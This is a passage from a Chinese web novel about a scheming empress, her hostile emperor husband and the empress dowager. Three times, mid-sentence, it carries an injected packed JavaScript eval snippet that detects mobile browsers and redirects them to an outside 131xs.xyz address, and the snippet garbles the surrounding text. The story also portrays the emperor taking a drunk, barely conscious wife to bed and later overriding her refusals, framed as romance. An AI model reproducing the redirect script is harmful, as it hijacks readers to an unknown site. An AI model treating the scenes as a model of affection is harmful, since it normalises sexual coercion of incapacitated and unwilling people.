“宇文宏都歹毒,纵容他那孽障女儿,害我母子!”章太后愤然:“我定不会放过他们的!” * 长信宫却没这么多闲工夫争长论短了,海棠淋了一场大雨,下午便发起高热来,一直不退。 方才宫女们手忙脚乱地给她喂了药,太安宫竟来人传太后旨意,要对海棠施刑,这下子惹怒了长信宫众人,就连平日最重规矩最怕事的向嬷嬷都忍不了了,连连喊着欺人太甚,带头将他们赶了出去。 春泠自责懊悔道:“此事全是怪我,要不是因为我,娘娘也不会惹恼太后,更不会淋雨生病。” 向嬷嬷道:“内廷府掌教是我带人赶出去的,有事叫她们找我!我身为长信宫的大嬷嬷,若叫人将病中的主子拖下来受刑,那我也不必再在宫里侍奉了,直接一根绳子吊死算了!太后娘娘若是不满,只管责罚我便是了!” 门口传来声音,翠烟进来禀报:“陛下来了!” 皇帝一进门,众人忙跪安行礼,春泠低着头,显得有些害怕。 她怕皇帝是来兴师问罪的,赶忙先行请罪:“陛下,今日之事全是奴婢的过错,是奴婢不该与韩才人顶撞,惹得才人动怒,太后降罪。” “所有罪责奴婢愿一人承担,皇后娘娘护奴心切,此事她真的冤枉,还望陛下不要迁怒她,太后娘娘赐下的手杖之刑,奴婢可以代为承担,皇后娘娘她病了,实在受不得刑罚了!” 皇帝这才抬起眼皮看了看:“皇后病了?” “是。” “什么病?” “受了风寒,高热不退。” 皇帝没再多说,进了内殿。 宫女们掀开帷幔,缓缓退出。 海棠确实病了,躺在床上。 闭着眼睛,脸色发白,没有作假。 皇帝心绪良多,她既病了,那也没什么可说的了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504066|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他在床沿上坐下,想了一些事。 太后的话,卜瀚文的话,内阁的话。 他身边的人太多,让他也有些混乱,不知道哪些事该做,哪些事不该做。 做皇帝真的不容易,比他曾经想得要难得多。 海棠烧得有些迷糊,突然嘴唇翕动,轻轻喊了一声:“娘..” “什么?”皇帝的思绪被她拉回来:“你说什么?” 海棠发烫的手却抓住了他,如同溺水的人抓住一根救命稻草般。 抓着他的手,倒在他怀里,哑着嗓子喊娘,一遍又一遍地喊娘。 皇帝本想拿开她的手,又听见她带着哭腔的声音:“娘,你不要走,我错了,我错了。” “我真的知道错了,我以后再不去湖边了…我是被推下去的,我没有骗人。” “爹爹快把我打死了,他不信我…” “他恨我…” “你回来,娘,你回来。” 她梦魇了,皇帝一时间不知如何是好。 突然有些于心不忍,纵使他的母亲,他的谋臣,他的理智的告诉他。 宇文氏之女,早晚是要除掉的。 分姓两家,生而对立。 此生非同舟之人,有夫妻之名分,无夫妻之缘分。 可是他也是年少失父,这些年来过得十分不容易,因此仿佛更能明白她心中那种痛楚。 虽然他们两个小时候都不好过,但毕竟他的母亲还算疼爱他。 皇后无母,大相国那种人,也并非怜爱子女的人。 唉,皇帝叹了口气,第一次正经端详了下他的皇后。 这个嚣张跋扈的女人,也有她的可怜之处。 此刻她睡着了,长发随意散落,也挡不住雪白的肤色。 眼睫扑闪,嘴唇丰润,脸上烧得有些发红发烫。 她的确美丽,否则当初也不会一看画像就选了她。 若非看中,他也不会轻易同意更换皇后的人选,毕竟他原先选定的是宇文兰君。 可是当初不知道她是这样的性子,搅得他的后宫一团乱麻,若是早知道,便是天仙下凡也绝不会选她入宫。 有时候人想要过得舒服一点,并非追名揽利,逐美趋极,而要静水尘烟,无事无非。 他为何偏心颐妃,因为颐妃安静自如,从不惹是生非。 奈何世上没有后悔药,自己种下的因也只能自己吞下这个果。 皇帝又深深叹了口气。 十四载帝王路,时至今日还是身不由己。 床上,海棠睡得不大舒服,朦胧间挪了下头,往那温热的地方靠了靠。 皇帝一个激灵,坐直了身子,她这样靠过来,脸颊都贴到他的大腿上了。 吓得他直接站了起来,心神不定地匆匆逃走。 * 坐在回去的轿辇上,皇帝撑着头,颇有些心事重重。 她只是稍微贴近了一些,他竟然瞬间就对她有了反应。 不可能,这不可能,这个讨厌的女人,除了有一张漂亮脸蛋以外,毫无可取之处。 金玉其表,败絮其中,他还没到这么色令智昏的地步。 可是那汗毛竖立,险些控制不住自己的感觉实在不能忘,直接让他防线溃败,落荒而逃。 皇帝懊恼地拍了下额头。 高翊!你身为君王,担天下之责,心智竟如此不坚! 你忘了当初是为何娶她吗?你忘了宇文家是怎么对你的吗? 不能忘,绝不能忘! 24. 第二十四章 一连歇了几日,海棠的病好得差不多了。 春泠倒是伤得不轻,海棠给她拿了许多治外伤的金疮药,暗恨章太后这死老太婆下手真毒。 她病好了,秋后算账的时候也到了,海棠命人将韩才人宣到了长信宫,之前趁她病着,倒是让韩才人多过了几天安生日子。 不多时,韩才人战战兢兢地过来了。 大抵她自己也心虚,进了门头都不敢抬:“给皇后娘娘请安。” 礼罢便“扑通”一声跪下,连忙解释起来:“娘娘恕罪,这几日臣妾一直寝食难安,只是找不到机会和您解释,臣妾当时与您的宫女争执,确实是一时不忿向太后娘娘告了一状,可臣妾只是想提醒提醒那个宫女,臣妾也没想到太后娘娘会对她用杖刑啊!” 韩才人又叩头道:“后又连累娘娘生病,引起两宫矛盾,这实非臣妾所愿,陛下已经重重责骂过臣妾了,还望娘娘息怒!” 海棠端着茶喝了一口,淡淡道:“坐吧,我什么时候说要动怒了?” “我这新到了一些南方的茶叶,味道清香,你尝尝。” 韩才人这才慢慢起身坐下,看了看海棠,心里捉摸不定。 端起茶盏,忽然觉得烫手,定睛一看,才发现里面的茶水竟然滚烫无比,显然是用刚烧开的水泡的。 端在手里,隔着茶盏都烫得不行,韩才人手指轻颤,止不住得抖:“娘娘,这…” 海棠面无表情,片刻后,韩才人终于被烫得受不了,手一翻打碎了茶盏。 海棠故作惊讶之色,慢悠悠开口:“韩才人,你好大的胆子,这可是本宫大婚时用的御赐茶具,今日拿来招待你,你却失手打碎,损毁御赐之物可是大不敬,你不是最懂宫规了吗?怎么也会犯这样低级的错误?” 韩才人欲哭无泪,连忙跪下道:“臣妾惶恐,臣妾甘愿领罚。” 海棠看向瑟瑟发抖的韩才人,边喝茶边道:“你倒很懂事,也不辩解什么。” 任韩才人跪了一会,海棠才开口道:“看到了吧,今日的我对你,就如你对春泠一般。” “欲加之罪,何患无辞,我若想惩治你,有一万个法子,但是我从来没有主动挑衅过你、刁难过你吧,是你一直视我为眼中钉肉中刺,你以为你倚仗太后,我就不敢拿你怎么样吗?” “就算是太后在我面前,惹到我,我也照样不会放过她,我为什么不找你麻烦,因为你就像那阴沟里的老鼠一样,虽然惹人讨厌,但是根本没什么作用。” “韩琼妍,你给我记住,你有任何不满,大可冲我来,我们光明正大地斗!但你要是畏惧我,不敢面对我,却要牵连我身边的人撒气,那就别怪我对你不留情面!” “皇后上奏是可以废黜嫔妃的,再有下一次,你就滚出宫去,滚回你韩家,让你爹娘好好地重新教你一遍做人的道理,明白了吗?” 韩才人吓得直点头:“明…明白了。” 海棠又道:“从我做皇后开始,你就一直针对我,我倒很奇怪,我们俩从前无冤无仇,你为什么这么恨我?” “就算你嫉妒我从颐妃手里抢了皇后的位置,可即便我不做皇后,也轮不到你来做,你为什么不恨同为嫔妃且样样压你一头的颐妃,反倒来恨我?” 韩才人哭着道:“娘娘恕罪,往日种种,很多事情也非我本意,实在是太后与您斗法,臣妾不过是太后放在后宫的一柄匕首罢了,她指哪里,我便攻击哪里,如何能做得了主呢?” 海棠道:“这不也是你自己选的路吗?你若是不在乎荣华恩宠,那大可以就此称病闭宫,甘作废棋,自然可以摆脱太后的控制,但是如果你自己实在舍不得这份来之不易的富贵,那下一次,就各凭本事吧,我不会再看你是受谁的指使,还是有什么难言之隐。” “你自己好好想想吧…别再来烦我。” * 时至中秋佳节,又逢太后生辰。 宫中再起宴席,邀请群臣,内外命妇纷纷盛装出席,为太后贺寿。 太后的母族和兴侯章氏家族今日也来了,如今的和兴侯是太后弟弟,皇帝的母族舅舅。 章氏一族原是平民出身,时至今日家族中都没能出现什么才能之辈,不过凭借章太后庇护,也能得封侯爵,安享富贵。 宫宴之后,皇帝为太后在摘星楼大放烟火,引得群臣驻足观看,交口称赞。 这又是南方进献的东西,南方那些地方最会做这种繁华绮丽,添彩增色的玩意儿。 晚间夜幕当空,摘星楼巍峨峻丽,无数烟火飞上云霄,四色光芒层层炸开,化作漫天金流,如飞流瀑布般直下银河三千里。 章太后一改多日的烦恼憔悴,在众人簇拥下,在烟火映照中,笑得连气色都好了不少。 今日她生辰,算是她的好日子,海棠也难得不和她较劲,只自己站着,默默观赏天上烟火。 她从六岁以后就没再过过生日了,她和嘉宁都是冬天的生日,而且差了没几天,可是每年爹爹只会给嘉宁过生辰礼,从不理她。 今日看到太后的生辰,看到她和皇帝母慈子孝的场景,她又想到娘了。 子欲养而亲不待,如果娘还在,她未必做得没有皇帝好,她也可以为娘准备惊喜,也可以这样依偎在娘身边。 风一吹,海棠有些头晕,晚间多喝了几杯酒,她本就不甚酒力,现下见了风,这后劲慢慢上来了。 她对自己的酒量很清楚,估摸着已经快要醉倒了,便赶忙向太后和皇帝告退,先行回宫休息去。 章太后不以为意,还以为她是看到自己的风光排场,暗自牙酸才提前离场。 皇帝陪着太后,也点头同意她回去,倒是卜瀚文默不作声的,却是一直关注着海棠的动向。 看到海棠坐上轿辇走了,他马上上前,低声问皇帝:“陛下,皇后娘娘走了,您为何不去?” “什么?”皇帝感到莫名其妙:“朕为何要去?” “皇后至今拒您与千里之外,十分生疏,今日这繁华热闹的场景,她一人落寞,陛下应当在此时去关心她,安慰她,想来能让她卸下心防。” 卜瀚文的馊主意出得太多,有时皇帝分辨不清,对他甚至有些盲从了:“可她已经走了。” “您追过去啊,皇后醉酒,您不是正好可以去关心关心她,最好留下来照顾片刻,敷点热巾子,喂点解酒汤什么的。” “臣听说皇后打小不得宠爱,不受重视,这样的人最渴望他人关爱,您只需要付出一点点,她自然会感激不尽。” 皇帝蹙起眉:“就算朕追过去,她都喝醉了,意识不清,怎么会知道朕来照顾她了呢?” 卜瀚文道:“这个您放心,长信宫的那些嬷嬷八卦多事,待娘娘明早醒了,定会与她说的,还会夸大其词褒扬您的功劳呢!” 皇帝想想,这倒也是,确实不失为一个拉近关系的好机会,正拔腿要追上去,突然被卜瀚文拉住衣袖。 他表情颇有些复杂,想了又想才启齿:“陛下,照顾归照顾,且要注意尺度,勿要自己受到影响。” 这话已经是明说着提醒了,你是去钓人的,别让人钓你。 皇帝道:“朕知道。” 这点把握和分寸他还是有的,怎么难道他是这么不值得相信的人吗? 于是皇帝也吩咐近侍去向太后告退,说是衣裳洒了酒水,回去换一下,自己则是暗自调头往长信宫而去。 章太后还沉浸在欢快和恭贺的氛围中,颐妃、韩才人还有和兴侯府的母族亲戚,将她哄得合不拢嘴。 只笑着道:“皇帝衣裳湿了,还不快些回去换,当心凉了身子,你告诉他,他的孝心哀家知道,今日的生辰宴哀家很喜欢,这里已经这么多人陪着了,他日理万机也辛苦得很,早些回去歇着吧!” 众人继续玩闹,只有颐妃抬起头看了一眼,嘴里嘀咕着:“奇了怪了,怎么往那个门走了…” 宫女问:“娘娘说什么?” “没什么。” * 向嬷嬷等人显然没料到皇帝会来长信宫,已经服侍着海棠洗漱完躺下休息了,海棠确实醉得厉害,眼下已经睡熟了。 于是皇帝来的时候,一众人大眼瞪小眼,向嬷嬷尴尬道:“陛下,不知道您来,娘娘已经睡下了。” 皇帝心想我就知道是这个结果,卜瀚文这蠢材又拿朕开涮。 他叹口气,本来想走,又想着来都来了,不做点什么就走,那不是白来了。 于是步子又踏回来:“朕去看看皇后吧…” 春泠忙道:“陛下还是回去休息吧,娘娘都睡着了,没什么好看的。” 皇帝狠狠瞪她一眼,这才认出这个宫女仿佛就是让皇后失态相护的那个从相国府带进来的丫头。 他冷着脸,更加不爽。 本想发难质问,但是看见春泠上回被打的伤还没好全,走路还有些跛跛的,想想又算了。 还是省得再提起这件事,让皇后心里不痛快,到时候又要牵扯起皇后太后两宫的矛盾。 便只冷哼了一声,径自掀开帘子进去了。 皇帝在海棠的床沿上坐下,摸了摸她的手,对向嬷嬷等人道:“皇后的手怎么这样滚热,你们是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514851|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么照顾皇后的?” 向嬷嬷支支吾吾:“…” 皇帝吩咐:“去打盆水来,给皇后擦一擦,降降温。” 向嬷嬷应了一声,忙喊人去打水来。 待水来了,皇帝不让他人经手,竟然亲自拧了棉巾子,给海棠擦脸擦手。 长信宫的嬷嬷宫女们真是丈二和尚摸不着头脑了,这又是何意? 往日从未见过陛下如此行径啊? 难道真是出了鬼变了性子? 向嬷嬷刚要开口,皇帝就吩咐她出去:“你们先下去吧。” 春泠担心海棠,不愿下去,奈何被向嬷嬷硬拖着下去了:“主子们的事你瞎掺和什么?” 春泠委屈道:“我担心娘娘。” 向嬷嬷恨铁不成钢地看她:“陛下在里面,有什么可担心的,人家夫妻两个在一个屋里,你跟着凑什么热闹?” 说着又劝慰道:“不管怎么样,咱们都是盼着娘娘好的。” 春泠心想你知道个屁!她是长信宫的娘娘,她更是我家的小姐! 你们这帮人只顾着宫里的荣宠,哪管她宇文海棠的死活? 旁边翠烟也附和道:“就是啊,难得陛下这么关心娘娘,说不定他们俩可以就此冰释前嫌,那多好啊!” “好个屁!”春泠直言不讳:“休要让娘娘醒来责怪我们。” 内殿,皇帝坐了一会,估摸着时间差不多了。 他这又是擦手又是喂水的,明早那些嬷嬷们可有东西讲了。 可是皇后会感怀于他的关心吗?未必吧…这铁石心肠的女子,定会抛在脑后。 殿内烛火明灭,窗子开了一条缝,纱帐被风吹得轻轻飘起。 皇帝正准备起身关窗,衣角却被海棠压住了:“为什么?” 她似醉未醉:“你…” 皇帝坐回来,慢慢靠近她:“你醒着的?” “头很晕… “很晕还说话?”他问:“你看得见我吗?” “看…就…”她断断续续地吐出几个不连贯的字。 皇帝低下头,看着她的侧颜:“你知道我是谁吗?” “你是…高…” “清醒的?”他疑惑:“真睡假睡?” “我…要起…来…” 她身上一阵幽幽的香,忽然难以捉摸地钻进了他的鼻子里,脑海里。 那失控般的感觉又一次山呼海啸而来,皇帝忍耐住,轻轻探她鼻息。 很均匀,应该睡着了,说梦话? 他正有些疑惑,伸出去的手指却被海棠一把抓住。 温热,滑嫩的女子肌肤之感,令他有些恍惚。 这双手还没抽回来,被她握住,抱着。 很奇怪的感觉。 他再次靠近:“你…” 那股幽香阵阵袭来,皇帝的眼神节节溃败。 难以自制地,摸上她的脸。 她如今并不清醒,这算不算趁人之危? 可是夫妻之间,再正常不过,何需畏惧? 脑中天人交战,他突然俯下身,去品尝这绝色的美人。 唇瓣相接,她竟有些回应。 越吻越深,体温逐渐升高。 皇帝再没精力思考其他,飞快地脱了衣裳,压上床去。 他气息低沉,解开了她的寝衣,由上自下,浅尝辄止。 帘幔纷飞,窗外月明星稀。 欲望和理智纠缠在一起,搅得锦被翻滚。 海棠似乎被烈酒冲昏头脑,偶有几声轻吟。 * 翌日一早,皇帝先行离开。 他知道等海棠醒了,少不了一顿闹腾。 皇帝更衣离开后,长信宫众人笑容满面围在一起。 “太好了,陛下和娘娘终于和好了。” “夫妻哪有隔夜仇,自然是床头打架床尾和了!” 只有春泠一个人拉着脸,眼红似血,显然一夜没睡:“你们这帮人真是太坏了,非拉着我不让我进去,枉娘娘以前对你们那么好,你们等着吧!看娘娘一会醒了怎么问罪你们!” 翠烟撅起嘴道:“你快别胡说八道了,人家夫妻之间的事,你怎么知道娘娘不愿意呢?再说主子们的事岂容我们置喙,我不拉着你,你难道还要擅闯娘娘寝殿不成?” 旁边另一人道:“就是啊,春泠姐姐,别怪我说话难听,虽然你是跟着娘娘从相国府进宫的,但你毕竟也是奴婢,还是别自作主张,做娘娘的主了!” “你!你们…一帮没出息的东西!”春泠被气得红了眼圈,抹着眼泪走了。 25. 第二十五章 下朝之后,皇帝返回太极殿,问起皇后来。 卫少监奉上一盏浓茶,小心翼翼地回禀:“皇后娘娘醒来以后,大发雷霆,又哭又闹,摔砸了很多东西,哭得厉害呢…” 皇帝原本还不错的脸色立刻沉了下来。 就算昨夜是他不对,趁她酒醉乘人之危,但他二人本就是正经夫妻,名正言顺。 况且他也问她了,她分明知道他是谁。 哭什么,闹什么?像什么样子?再说她自己不也纠缠了吗,昨天要不是她拉着不让走,他早走了。 皇帝喝了一口茶,默不作声。 晌午过后,他又去了长信宫。 刚进内殿,一个瓷的药碗就摔了过来。 没想到海棠到现在还没梳洗,披散着头发,坐着床上,形容憔悴,双目通红,显然哭过了。 一看到他就咬牙切齿:“你这个骗子!混蛋!你竟然还敢来!” 她恨得要站起来掐他:“你这个王八蛋!趁我醉酒占我便宜,我掐死你!我要杀了你!” 皇帝硬生生挨了她一顿拳打脚踢,抓着她的手将她禁锢在怀里:“别闹了!” “朕和你本来就是夫妻,有什么不可以的?” 海棠大骂道:“你还真是大言不惭!贱骨头的贱男人!给我去死!赶紧滚!” 皇帝气急反笑:“朕不滚!朕为什么要滚!皇帝睡在皇后寝宫天经地义,朕不仅不滚,朕今晚还要在这住!你又能如何?” 海棠被他的恬不知耻震惊到了,气得无言以对:“你…你…” 皇帝果然说到做到,今晚他又要留宿在长信宫,趁宫人们忙碌的时候。 他颇为挑衅地看着海棠:“夫妻名分,人伦规矩,这是天经地义,朕又不是觊觎他人妻子强占人妻,不管怎么看,朕都没有越矩的地方。” “朕已经言出必行留宿在长信宫了,宇文海棠,你能怎么样?难道你还要弑君不成?” 海棠恶狠狠瞪着他,眼泪顺着脸颊流下来。 她的确不能弑君,可是也不能为此事杀了自己吧,那样就太便宜他了! 他又死不了,自己也不想死,这可怎么办?真把她难住了。 皇帝本来心里正在生气,要不是卜瀚文屡次劝他大局为重,他怎么会过来应付。 结果情况失控,一招不慎,险些把自己搭进去了。 皇后如此给脸不要脸,令他十分不快,内心也很懊恼,谴责自己。 此事非君子所为,让他无形之中理亏,气势上矮了一截。 可是你宇文海棠难道是什么难以割舍的天仙吗?离了你不能活了? 咄咄逼人,喋喋不休,从刚才到现在,一直辱骂于他。 他高翊从出生下来何曾被人这样骂过? 偏偏他还理亏,无法反驳。 皇帝下定决心,如此混账之事,只此一次,绝不再犯! 绝不能再折在这个女人手里。 他如是告诫自己,定要心如磐石般坚定。 可是令他没想到的是,皇后哭了。 他本来很生气的,看到她无言流泪的场面,一时也有些慌了。 海棠恨自己为什么一点防备之心没有,为什么昨天要喝那么多酒。 为什么!为什么!为什么会变成现在这样! 是她太笨了,是她太蠢了! 此刻她简直悔恨得想要狠狠扇自己两嘴巴。 实在太过委屈,她哭了出来。 坐在床尾,靠着柱子的地方,一边抹眼泪,一边回想昨天那破碎的记忆。 她只记得她从宴席上回来的时候,其他什么都不记得。 然后就是今天早上起来,春泠坐在床边红着眼睛看她。 春泠告诉她这个晴天霹雳的消息,她差点昏过去了… 看到她哭,皇帝心里怪不是滋味的。 他是彻底理亏,成了色胚小人了… 可是昨天他明明前面还是十分清醒,十分理智的,从什么时候开始…突然失控的… 他竟然也想不起来… 皇帝叹了口气,伸手拂去海棠眼角的泪珠。 “朕始终是你的丈夫,如果你学会接纳朕,也许我们会过得好也未可知?” 丈夫…这两个字让海棠气不打一处来。 此刻她突然格外的痛恨父亲,比以往更加痛恨。 对她不好的父亲,就这样把她推给一个对她不好的丈夫。 大婚之前她甚至没有见过他一面,他就这样成了她的丈夫。 他对她做的任何事,就有礼法可依了。 她笑了一声,然后问他:“丈夫?你是多少个人的丈夫?你自己数过吗?” 皇帝忍耐着:“嫔妃为妾,皇后为妻,你不明白?” “我不明白,我不明白你明明厌恶我,却还能在我身边躺下,我不明白你和颐妃山盟海誓,却还能宠幸韩才人不误。” “我不明白你周转于各个床榻之间,辛劳出力,作何感想?” “人无约束自制之力,与禽兽牲畜无异,眼下我已经看清你这禽兽的真面目了!” 皇帝怒哼一声:“恶妇!” 牙尖嘴利的恶妇! 他陡然十分后悔刚才为什么要放话留宿长信宫,现在他很想掉头就走,一刻都不想再面对这个女人! 可是挑衅之言已经放出去了,要是临阵脱逃,显得他更矮上一截了。 皇帝虽然怒气冲冲,但是坚决不肯走。 等到又躺回那张床的时候,望着帐顶繁复的花纹。 那熟悉的,略带甜味的幽香再次嗅入鼻中。 那是海棠身上的味道,她此刻裹着被子背对着他,缩在角落不知道在想什么。 可恶,这什么味道,为何这么缠人。 扰乱得他心神不宁。 昨晚海棠醉了,可他没醉。 种种情景又浮现在脑海中。 香味迷离,衣衫缠绕,唇齿相接,身体愈渐灼热。 不可否认她是个天生丽质的大美人,美人的滋味并不容易忘记,即便他见过无数佳丽。 皇帝按按额头,够了!救命啊…够了… 不行,不能再这样下去,不能再贪图美色,迷恋其中,否则一切全完了。 他遏制住所有杂念欲念,开始按照卜瀚文给出的剧本念白。 “其实朕知道,入宫非你所愿。” “你心向自由,自你嫁入宫中,不见你有一日开心,朕对你一直冷待,朕也很愧疚。” “可是人生在世,总是身不由己,往日种种,也并非朕所愿,太后忌惮宇文家,对你一直不喜,你又是刚过易折,宁为玉碎的性子,让朕很为难。” “作为丈夫,朕不希望你痛苦一生,作为帝王,朕又希望你能担得起国母的责任,也许是朕对你要求太高了。” 他叹口气:“海棠,你本性不坏,朕知道你年少时在家里受了很多委屈,朕想…” 他的台词还没说完,海棠却抱着被子哭了。 这是他没料到的,她又哭了。 他最见不得女人的眼泪。 一下子台词也忘了,赶紧翻身起来:“又怎么了?” 海棠哭着说:“我被你害惨了…我被你害惨了!” “你躺在我旁边,我根本睡不着!我心里烦死了乱死了!我头要炸开了!” 她抱着头:“你简直是我前世的冤家,今生的罪孽!” “为什么变成现在这样,你要怎么跟你的颐妃交代?我要怎么办啊?你说怎么办?” “我告诉你,就算你要废了我休了我,我也要出宫,我也要回家,我不会去寻死的,更不会去做尼姑的!绝不!” “朕什么时候说要废了你休了你啊?”皇帝被她指责得摸不着头脑:“什么时候要让你去死,去做尼姑了?” “你到底在想什么啊?” “你说过!你说过好多次!你想赖账!” 她披头散发,梨花带雨,一改往日的跋扈作风,这陌生的模样实在让他无法招架。 他轻轻拍了拍她的肩,想稍作安慰。 可是刚碰到她的肩膀,她往后一躲。 皇帝把手收回来,指尖那一点点温热的余温,开始慢慢蔓延,很奇怪的感觉。 烛火影照,幽香萦绕。 那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526161|183735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法控制,浑身滚烫的感觉又来了… 完了,皇帝心想,又要完了。 他的呼吸逐渐紊乱,直到自己控制不住。 突然伸手把海棠一把搂过来,脸贴上了她的脖子,气息浓重。 “啊!”海棠尖叫一声:“你干什么!” 她一巴掌扇过去,被他握在手里。 海棠挣脱不得:“高翊!你又发什么疯!占一次便宜还不够,还想占两次不成?” 他低下头,瞳中渐渐充满欲望:“一次和两次有什么区别?” 现在连他自己也搞不明白了,为什么,这到底为什么! 为什么他会这么难以自持,从前绝不可能发生这种事! 海棠抗拒道:“我平生最恨与人共享物品,尤其是男人,从前宅院之争看够了,争宠献媚令我厌恶无比,你已经有颐妃,还有韩才人,我们不是一路人,道不同不相为谋!你不要再一错再错下去了!” “是不是一路人也躺一个被窝里了,你现在说这些还有什么用?” 他的手抚摸着海棠的脸:“你确实很美。” “如果能少说些恶劣言语,就更好了。” “当时进献的画像,已经十分出众,可是大婚的时候看到真人,才发现纸笔之作,远远不及。” 他突然夸赞起她的容貌,让她有些混乱,难道真是色令智昏了? 她赶紧亮出杀手锏,恶狠狠道:“我可是宇文宏都的女儿,你忘了吗?” 我可是你最讨厌的人的女儿。 “朕没失忆,用不着你提醒。” 他说着就开始解衣服,海棠又喊起来:“我知道了,你想害我!你暗算我!” 他低下头,闻她发间的香味:“朕害你什么了?” “你也是后宫嫔御啊,皇后娘娘,你忘了?” 皇帝身上隐约透着淡淡的檀香味儿,大约是太极殿常年燃着檀香,连带着身上也沾染了些味道。 海棠身上则是极其浓艳的香味,与宫中常用的淡雅清香不同,这香味浓艳靡丽,与她本人的风格如出一辙。 这到底是什么香,皇帝百思不得其解。 这样两种格格不入的香味,因主人的纠缠慢慢融合在一起,竟多了几分令人回味的滋味。 殿中纱帐飘逸,皇帝压着海棠,衣衫凌乱,发丝垂落。 高氏皇族姿容俊秀,世代尽出美人。 这样的角度看过去,竟有一种妖异之美。 可他实在蛮不讲理,纠缠不休,抵死不肯放过她一般。 海棠累得气喘吁吁,属实是挣不过他。 她气结无比:“混蛋!有种你试试!” 能怎么样,能死吗? 就算她倒霉了一回又倒霉一回能怎么样? 海棠心中哀怨,老天爷,你真是不公! 你看不惯我过得顺心是吧? 那你掐死我吧!你来啊! 她有些胡思乱想,趁她松懈之际,皇帝立刻乘虚而入。 翌日离开长信宫时,显然不止海棠一人后悔不迭,皇帝也在暗骂自己。 高翊,你怎么回事!你疯了吗? 如此没有自制之力…究竟怎么回事! 海棠起来梳妆的时候,春泠已经忍无可忍:“怎么会有这种不要脸的人,真是太过分了,一而再再而三的,士可忍孰不可忍!” 她蹲下身来,抓着海棠的手:“怎么办,小姐,你说过你对他无意,将来早晚要离开的,如今却失身给他,真是吃了大亏了,这杀千刀的色坯!我真恨不得捅上他几刀!” 海棠看着镜子,心里也有些郁结。 半晌后,她叹气道:“也没什么大不了的。” “能死不成?日子不过了?我还是我,我还是宇文海棠,这点永远不变就行了。” “春泠,你还想回家吗?” “我想。” “好,那就回家,我们想办法回家。” “真的吗?回相国府?” “不,那里不是我们的家,我们会有新家的。” 春泠终于笑了:“反正小姐在的地方就是我的家,你去哪我就去哪。” 26. 第二十六章 皇帝下朝后,脸色不错,脚步轻快,上了銮驾便道:“去长信宫。” 这回就连卫少监都忍不住多看了好几眼,欲语还休。 陛下啊,卜大人让您去钓皇后,这是谁钓谁啊? 瞧着您自个要上钩了吧? 这可不成呐,这甩饵不成,也不能自己跳河里喂了鱼啊! 皇帝现在进长信宫已经熟门熟路,好在海棠今天情绪稳定,并没有在屋里大吵大闹。 看到他进来了,只是抬了下眼睛,继续打绦子。 她手还挺巧的,那绦子打得十分漂亮,墨绿色的丝线,用金银丝打了牡丹结,挂在扇子上应当不错。 皇帝走过去问:“给谁做的?不会是给朕做的吧?” 海棠差点笑出来,人不要脸,天下无敌了。 “你想得美,这给我妹妹的。” 他当然知道不可能是给他的,但还是道:“你妹妹都有,朕却没有,那不行,你也得给朕做一个。” 海棠把头抬起来:“你没病吧?” 他却说:“一条绦子而已,这都不行?” 海棠看着他,不说话。 他知难而退:“你要没空就算了。” 他今日很有兴致,非要留下来用午膳。 海棠这里的菜都是小厨房自己做的,且都是按着她的口味来的。 于是皇帝整个中午都在不停地挑食:“朕不喜欢羊肉,味道膻人,端走。” “为何这道菜要加葱段?如此辛鲜佐料,味道岂不很重?来人,把葱段都挑出来。” “肘片怎么能加冰糖?太过甜腻了,换一道别的凉菜来。” 宫女们面露难色,被他使唤得团团转。 海棠忍无可忍,“啪”一声把筷子拍在桌上:“你不要在我这刁难人!” 皇帝被她吼了一顿,后半程倒是没那么多事了。 用完膳,小桌子撤了下去。 皇帝在走廊上四处观看,往日没怎么仔细看过,像这样晴空正好的时候也少。 这殿内殿外,布置得倒很好。 自上次皇后在讲书阁放话长信宫要带头改变奢靡之风,奉出所有财物用于前线之后,这里确实不像之前那样华丽得亮瞎人眼了。 垂地的锦缎换成了素色的飘纱,绣娘们手工编制的羊毡地毯也撤去了,窗棱间的琉璃也被拆下来,换上了明纸。 他笑了笑,皇后还真是不落人口舌,竟换得这样彻底,是怕人弹劾她言行不一吗? 院子里新加了秋千和摇椅,还有她种的花和果树。 皇帝上前看了看那棵矮矮的灌木,好像是棵金桔树。 廊下挂着两只鹦鹉,一只红毛,一只绿毛。 皇帝回头问海棠:“为什么关笼子里?” 海棠走过来:“不关笼子里就跑了。” “鹦鹉认主,你把它们养熟了,怎么会跑?” “问题就是现在还没养熟。” 皇帝摸了摸两只鹦鹉的羽毛,意味深长道:“原来你也知道怕鸟飞了,是要关笼子里的。” “恨他人掌控,所以不服,但等自己需要掌控时,也是同样的方法,不是吗?” 